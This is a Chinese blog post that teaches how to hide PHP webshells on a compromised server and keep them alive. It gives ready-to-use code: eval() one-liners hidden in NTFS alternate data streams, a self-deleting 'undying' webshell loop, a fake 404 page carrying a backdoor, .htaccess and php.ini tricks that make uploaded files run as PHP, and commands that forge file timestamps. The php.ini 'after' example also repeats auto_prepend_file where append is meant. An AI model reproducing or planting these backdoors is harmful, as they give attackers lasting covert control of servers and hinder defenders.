PHP后门隐藏的一些技巧总结


Posted in PHP onNovember 04, 2020

前言

如果想让自己的Webshell留的更久一些,除了Webshell要免杀,还需要注意一些隐藏技巧,比如隐藏文件,修改时间属性,隐藏文件内容等。

1、隐藏文件

使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。

attrib +s +a +h +r shell.php //隐藏shell.php文件

2、修改文件时间属性

当你试图在一堆文件中隐藏自己新创建的文件,那么,除了创建一个迷惑性的文件名,还需要修改文件的修改日期。

//修改时间修改
Set-ItemProperty -Path 2.txt LastWriteTime -Value "2020-11-01 12:12:12"
//访问时间修改
Set-ItemProperty -Path 2.txt LastAccessTime -Value "2020-11-01 12:12:12"
//创建时间修改
Set-ItemProperty -Path 2.txt CreationTime -Value "2020-11-01 12:12:12"

使用命令获取文件属性

Get-ItemProperty -Path D:\1.dll | Format-list -Property * -Force

修改某个文件夹下所有文件的创建和修改时间

powershell.exe -command "ls 'upload\*.*' | foreach-object { $_.LastWriteTime = Get-Date ; $_.CreationTime = '2018/01/01 19:00:00' }"

3、利用ADS隐藏文件内容

在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:

echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg

这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。

利用include函数,将index.php:hidden.jpg进行hex编码,把这个ADS文件include进去,这样子就可以正常解析我们的一句话了。

<?php @include(PACK('H*','696E6465782E7068703A68696464656E2E6A7067'));?>

4、不死马

不死马会删除自身,以进程的形式循环创建隐蔽的后门。

<?php
set_time_limit(0); 
ignore_user_abort(1); 
unlink(__FILE__); //删除自身
while(1)
{ 
 file_put_contents('shell.php','<?php @eval($_GET[cmd]);?>'); //创建shell.php,这里最好用免杀的一句话
 sleep(10); //间隔时间
}
?>

处理方式最简单有效的办法,就是重启服务就可以删除webshell文件。

5、中间件后门

将编译好的so文件复制到modules文件夹,启动后门模块,重启Apache。当发送特定参数的字符串过去时,即可触发后门。

github项目地址:

https://github.com/VladRico/apache2_BackdoorMod

6、利用404页面隐藏后门

404页面主要用来提升用户体验,可用来隐藏后门文件。

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

7、利用 .htaccess 文件构成PHP后门

一般.htaccess可以用来留后门和针对黑名单绕过,在上传目录创建.htaccess 文件写入,无需重启即可生效,上传png文件解析。

AddType application/x-httpd-php .png

另外,在.htaccess 加入php解析规则,把文件名包含1的解析成php,上传1.txt即可解析。

<FilesMatch "1"> 
SetHandler application/x-httpd-php 
</FilesMatch>

8、利用 php.ini 隐藏后门文件

php.ini 中可以指定在主文件执行前后自动解析的文件名称,常用于页面公共头部和尾部,也可以用来隐藏php后门。

;在PHP文档之前自动添加文件。
auto_prepend_file = "c:\tmp.txt"
;在PHP文档之后自动添加文件。
auto_prepend_file = "c:\tmp.txt"

需重启服务生效,访问任意一个php文件即可获取webshell。

总结

到此这篇关于PHP后门隐藏的一些技巧的文章就介绍到这了,更多相关PHP后门隐藏技巧内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

PHP 相关文章推荐
php使HTML标签自动补全闭合函数代码
Oct 04 PHP
PHP输出XML到页面的3种方法详解
Jun 06 PHP
解析在apache里面给php写虚拟目录的详细方法
Jun 24 PHP
php的$_FILES的临时储存文件与回收机制实测过程
Jul 12 PHP
如何取得中文字符串中出现次数最多的子串
Aug 08 PHP
php接口与接口引用的深入解析
Aug 09 PHP
php实现俄罗斯乘法实例
Mar 07 PHP
PHP图形计数器程序显示网站用户浏览量
Jul 20 PHP
总结对比php中的多种序列化
Aug 28 PHP
php实现与python进行socket通信的方法示例
Aug 30 PHP
php在windows环境下获得cpu内存实时使用率(推荐)
Feb 08 PHP
让whoops帮我们告别ThinkPHP6的异常页面
Mar 02 PHP
phpstudy2020搭建站点的实现示例
Oct 30 #PHP
解决PHPstudy Apache无法启动的问题【亲测有效】
Oct 30 #PHP
PhpStorm 2020.3:新增开箱即用的PHP 8属性(推荐)
Oct 30 #PHP
2020最新版 PhpStudy V8.1版本下载安装使用详解
Oct 30 #PHP
PHP fopen中文文件名乱码问题解决方案
Oct 28 #PHP
PHP dirname功能及原理实例解析
Oct 28 #PHP
基于ThinkPHP删除目录及目录文件函数
Oct 28 #PHP
You might like
yii框架源码分析之创建controller代码
2011/06/28 PHP
PHP命令行脚本接收传入参数的三种方式
2014/08/20 PHP
Laravel中日期时间处理包Carbon的简单使用
2017/09/21 PHP
JQuery.ajax传递中文参数的解决方法 推荐
2011/03/28 Javascript
判断文件是否正在被使用的JS代码
2013/12/21 Javascript
jQuery设置与获取HTML,文本和值的简单实例
2014/02/26 Javascript
调试JavaScript中正则表达式中遇到的问题
2015/01/27 Javascript
JS+CSS实现的经典tab选项卡效果代码
2015/09/16 Javascript
JSP防止网页刷新重复提交数据的几种方法
2016/11/19 Javascript
js实现背景图自适应窗口大小
2017/01/10 Javascript
详解Vue-cli代理解决跨域问题
2017/09/27 Javascript
移动前端图片压缩上传的实例
2017/12/06 Javascript
微信小程序中的canvas 文字断行和省略号显示功能的处理方法
2018/11/14 Javascript
详解React服务端渲染从入门到精通
2019/03/28 Javascript
Node.JS在命令行中检查Chrome浏览器是否安装并打开指定网址
2019/05/21 Javascript
js获取浏览器地址(获取第1个斜杠后的内容)
2019/09/03 Javascript
微信小程序实现页面监听自定义组件的触发事件
2020/11/01 Javascript
[01:04:31]DOTA2-DPC中国联赛定级赛 iG vs Magma BO3第二场 1月8日
2021/03/11 DOTA
Python把csv数据写入list和字典类型的变量脚本方法
2018/06/15 Python
对python修改xml文件的节点值方法详解
2018/12/24 Python
使用python绘制二元函数图像的实例
2019/02/12 Python
python3中利用filter函数输出小于某个数的所有回文数实例
2019/11/24 Python
python 遍历pd.Series的index和value
2019/11/26 Python
python enumerate内置函数用法总结
2020/01/07 Python
pytorch如何冻结某层参数的实现
2020/01/10 Python
基于django 的orm中非主键自增的实现方式
2020/05/18 Python
python和go语言的区别是什么
2020/07/20 Python
CSS3实现线性渐变用法示例代码详解
2020/08/07 HTML / CSS
使用layui实现左侧菜单栏及动态操作tab项的方法
2020/11/10 HTML / CSS
美国珠宝精品店:Opulent Jewelers
2019/08/20 全球购物
Looking4Parking美国:全球排名第一的机场停车比较品牌
2019/08/26 全球购物
飞利信loadrunner和软件测试笔试题
2012/09/22 面试题
公司借条范本
2015/05/25 职场文书
Python基础之常用库常用方法整理
2021/04/30 Python
JavaScript阻止事件冒泡的方法
2021/12/06 Javascript
Android基于Fresco实现圆角和圆形图片
2022/04/01 Java/Android